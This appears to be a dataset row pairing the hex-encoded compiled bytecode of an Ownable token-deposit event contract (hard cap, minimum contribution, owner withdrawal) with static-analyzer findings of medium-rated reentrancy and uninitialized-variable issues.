461bcd60e51b815260206004820152600f60248201526e125b9d985b1a5908115d995b9d1259608a1b6044820152606401610721565b600082815260026020526040902060080154600160a01b900460ff16610d0f5760405162461bcd60e51b815260206004820152601360248201527f4576656e74206973206e6f7420616374697665000000000000000000000000006044820152606401610721565b60008281526002602081905260409091209081015460039091015411610d775760405162461bcd60e51b815260206004820152601460248201527f4974206973206265796f6e6420686172644361700000000000000000000000006044820152606401610721565b600082815260026020526040902060060154421180610dcc5750336000908152600460209081526040808320858452909152902054610db7908290612698565b60008381526002602052604090206004015410155b610e185760405162461bcd60e51b815260206004820152600f60248201527f4465706f736974206973206869676800000000000000000000000000000000006044820152606401610721565b600082815260026020526040902060050154811015610e795760405162461bcd60e51b815260206004820152600e60248201527f4465706f736974206973206c6f770000000000000000000000000000000000006044820152606401610721565b600082815260026020526040902060060154421180610eb05750336000908152600460209081526040808320858452909152902054155b610efc5760405162461bcd60e51b815260206004820152601460248201527f506c65617365207761697420666f7220464346530000000000000000000000006044820152606401610721565b60008281526002602081905260409091200154610f1a908290612698565b6000838152600260205260409020600301541015610f5a57600082815260026020819052604090912090810154600390910154610f5791906126ef565b90505b33600090815260046020908152604080832085845290915281208054839290610f84908490612698565b909155505060008281526002602081905260408220018054839290610faa908490612698565b9091555050600082815260026020526040902060010154610fd6906001600160a01b0316333084612092565b610fe0338361146e565b61087757600082815260026020908152604080832060070180546001810182559084528284200180546001600160a01b0319163390811790915580845260048352818420868552835292819020548151868152928301939093528101919091527fee5e682f79085c85b959874a59b4897eae17b6448ab068a467169ca1b2e1a888906060016108cc565b6000546001600160a01b031633146110c45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610721565b828410156111145760405162461bcd60e51b815260206004820152600f60248201527f496e76616c6964206861726443617000000000000000000000000000000000006044820152606401610721565b818310156111645760405162461bcd60e51b815260206004820152601460248201527f496e76616c6964206d696e436f6e7472696275740000000000000000000000006044820152606401610721565b6001600160a01b0385166111ba5760405162461bcd60e51b815260206004820152601460248201527f496e76616c6964206465706f736974546f6b656e0000000000000000000000006044820152606401610721565b604080516101606020601f8a01819004028201810190925261014081018881526060928291908b908b908190850183828082843760009201829052509385525050506001600160a01b0389166020808401919091526040808401839052606084018a90526080840189905260a0840188905260c0840187905260e084018690523361010085015260016101209094019390935260035482526002815291902082518051919261126e92849290910190612201565b506020828101516001830180546001600160a01b0319166001600160a01b0390921691909117905560408301516002830155606083015160038301556080830151600483015560a0830151600583015560c0830151600683015560e083015180516112df9260078501920190612285565b5061010082015160089091018054610120909301511515600160a01b027fffffffffffffffffffffff0000000000000000000000000000000000000000009093166001600160a01b03909216919091179190911790556003546040517ff2d5aeeb3295e198437eea2a33db36d739635a057fc0fffa8845d9ef6e721c7991611379918b908b908b908b908b908b908b903390600190612620565b60405180910390a16003805490600061139183612771565b91905055505050505050505050565b6001600160a01b03821660009081526004602090815260408083208484529091529020545b92915050565b6000546001600160a01b031633146114255760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610721565b600080546001600160a01b03166040519091506001600160a01b038216904780156108fc02916000818181858888f1935050505015801561146a573d6000803e3d6000fd5b5050565b6000805b6000838152600260205260409020600701548110156114ff57600083815260026020526040902060070180546001600160a01b0386169190839081106114c857634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b031614156114ed5760019150506113c5565b806114f781612771565b915050611472565b5060009392505050565b600081815260026020908152604080832060070180548251818502810185019093528083526060949383018282801561156b57602002820191906000526020600020905b81546001600160a01b0316815260019091019060200180831161154d575b505050505090506000815167ffffffffffffffff81111561159c57634e487b7160e01b600052604160045260246000fd5b6040519080825280602002602001820160405280156115e157816020015b60408051808201909152600080825260208201528152602001906001900390816115ba5790505b50905060005b82518110156116cd5782818151811061161057634e487b7160e01b600052603260045260246000fd5b602002602001015182828151811061163857634e487b7160e01b600052603260045260246000fd5b6020026020010151600001906001600160a01b031690816001600160a01b03168152505061168d83828151811061167f57634e487b7160e01b600052603260045260246000fd5b6020026020010151866113a0565b8282815181106116ad57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101510152806116c581612771565b9150506115e7565b509392505050565b6000546001600160a01b0316331461172f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610721565b6040516370a0823160e01b81523060048201526000906001600160a01b038316906370a082319060240160206040518083038186803b15801561177157600080fd5b505afa158015611785573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117a9919061242e565b905061146a826117c16000546001600160a01b031690565b83611f49565b6000546001600160a01b031633146118215760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610721565b60035481106118645760405162461bcd60e51b815260206004820152600f60248201526e125b9d985b1a5908115d995b9d1259608a1b6044820152606401610721565b600081815260026020526040902060080154600160a01b900460ff166118cc5760405162461bcd60e51b815260206004820152601360248201527f4576656e74206973206e6f7420616374697665000000000000000000000000006044820152606401610721565b600081815260026020819052604090912090810154600390910154146119345760405162461bcd60e51b815260206004820152601360248201527f4e6f7420726561636865642068617264436170000000000000000000000000006044820152606401610721565b60008181526002602081905260409091206001810154910154611962916001600160a01b0316903390611f49565b6000818152600260208181526040928390206008810180547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff169055600181015492015483518581526001600160a01b03909316918301919091528183015290517f116fde7943d3685c886edf89b49ebe78ebec359c3db46c8972274ae4e270193f9181900360600190a150565b6000546001600160a01b03163314611a4a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610721565b6003548310611a8d5760405162461bcd60e51b815260206004820152600f60248201526e125b9d985b1a5908115d995b9d1259608a1b6044820152606401610721565b600083815260026020526040902060080154600160a01b900460ff1615611af65760405162461bcd60e51b815260206004820152600f60248201527f4576656e742069732061637469766500000000000000000000000000000000006044820152606401610721565b6040516370a0823160e01b81523060048201526000906001600160a01b038416906370a082319060240160206040518083038186803b158015611b3857600080fd5b505afa158015611b4c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b70919061242e565b9050611b7e83333085612092565b6000611b8985611509565b6040516370a0823160e01b815230600482015290915060009083906001600160a01b038716906370a082319060240160206040518083038186803b158015611bd057600080fd5b505afa158015611be4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c08919061242e565b611c1291906126ef565b905060005b8251811015611d7a576000670de0b6b3a7640000600260008a815260200190815260200160002060020154858481518110611c6257634e487b7160e01b600052603260045260246000fd5b60200260200101516020015185670de0b6b3a7640000611c8291906126d0565b611c8c91906126d0565b611c9691906126b0565b611ca091906126b0565b90508015611d6757611cde87858481518110611ccc57634e487b7160e01b600052603260045260246000fd5b60200260200101516000015183611f49565b7fd41fa3f761ecffaf0b49f7a9ec32aa80b561c4d296f62c2b2d2c3d6f8b070f7688858481518110611d2057634e487b7160e01b600052603260045260246000fd5b6020026020010151600001518984604051611d5e94939291909384526001600160a01b03928316602085015291166040830152606082015260800190565b60405180910390a15b5080611d7281612771565b915050611c17565b506040516370a0823160e01b81523060048201526001600160a01b038616906370a082319060240160206040518083038186803b158015611dba57600080fd5b505afa158015611dce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611df2919061242e565b905082811115611e1057611e108533611e0b86856126ef565b611f49565b505050505050565b6000546001600160a01b03163314611e725760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610721565b6001600160a01b038116611eee5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610721565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001790529151600092839290871691611fd391906124c7565b6000604051808303816000865af19150503d8060008114612010576040519150601f19603f3d011682016040523d82523d6000602084013e612015565b606091505b509150915081801561203f57508051158061203f57508080602001905181019061203f9190612355565b61208b5760405162461bcd60e51b815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c4544006044820152606401610721565b5050505050565b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f23b872dd00000000000000000000000000000000000000000000000000000000179052915160009283929088169161212491906124c7565b6000604051808303816000865af19150503d8060008114612161576040519150601f19603f3d011682016040523d82523d6000602084013e612166565b606091505b50915091508180156121905750805115806121905750808060200190518101906121909190612355565b611e105760405162461bcd60e51b8152602060048201526024808201527f5472616e7366657248656c7065723a205452414e534645525f46524f4d5f464160448201527f494c4544000000000000000000000000000000000000000000000000000000006064820152608401610721565b82805461220d90612736565b90600052602060002090601f01602090048101928261222f5760008555612275565b82601f1061224857805160ff1916838001178555612275565b82800160010185558215612275579182015b8281111561227557825182559160200191906001019061225a565b506122819291506122da565b5090565b828054828255906000526020600020908101928215612275579160200282015b8281111561227557825182546001600160a01b0319166001600160a01b039091161782556020909201916001909101906122a5565b5b8082111561228157600081556001016122db565b80356001600160a01b038116811461230657600080fd5b919050565b60006020828403121561231c578081fd5b612325826122ef565b9392505050565b6000806040838503121561233e578081fd5b612347836122ef565b946020939093013593505050565b600060208284031215612366578081fd5b81518015158114612325578182fd5b600080600080600080600060c0888a03121561238f578283fd5b873567ffffffffffffffff808211156123a6578485fd5b818a0191508a601f8301126123b9578485fd5b8135818111156123c7578586fd5b8b60208285010111156123d8578586fd5b6020928301995097506123ee918a0190506122ef565b96999598509596604081013596506060810135956080820135955060a0909101359350915050565b600060208284031215612427578081fd5b5035919050565b60006020828403121561243f578081fd5b5051919050565b60008060006060848603121561245a578283fd5b8335925061246a602085016122ef565b9150604084013590509250925092565b6000806040838503121561248c578182fd5b50508035926020909101359150565b600081518084526124b3816020860160208601612706565b601f01601f19169290920160200192915050565b600082516124d9818460208701612706565b9190910192915050565b60006020808301818452808551808352604092508286019150828160051b870101848801865b8381101561255557603f19898403018552815160608151855288820151818a8701526125378287018261249b565b92890151958901959095525094870194925090860190600101612509565b509098975050505050505050565b602080825282518282018190526000919060409081850190868401855b828110156125ae57815180516001600160a01b03168552860151868501529284019290850190600101612580565b5091979650505050505050565b60006101208083526125cf8184018d61249b565b9150506001600160a01b03808b1660208401528960408401528860608401528760808401528660a08401528560c084015280851660e0840152508215156101008301529a9950505050505050505050565b60006101208c83528060208401528a81840152506101408a8c82850137828b018101919091526001600160a01b0398891660408301526060820197909752608081019590955260a085019390935260c084019190915290931660e0820152911515610100830152601f909201601f1916010192915050565b600082198211156126ab576126ab61278c565b500190565b6000826126cb57634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156126ea576126ea61278c565b500290565b6000828210156127015761270161278c565b500390565b60005b83811015612721578181015183820152602001612709565b83811115612730576000848401525b50505050565b600181811c9082168061274a57607f821691505b6020821081141561276b57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156127855761278561278c565b5060010190565b634e487b7160e01b600052601160045260246000fdfea26469706673582212205707833988af588eb1954907606915e51a5b9d015a91ec0ab63e10a0cc15bff764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 4,199 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.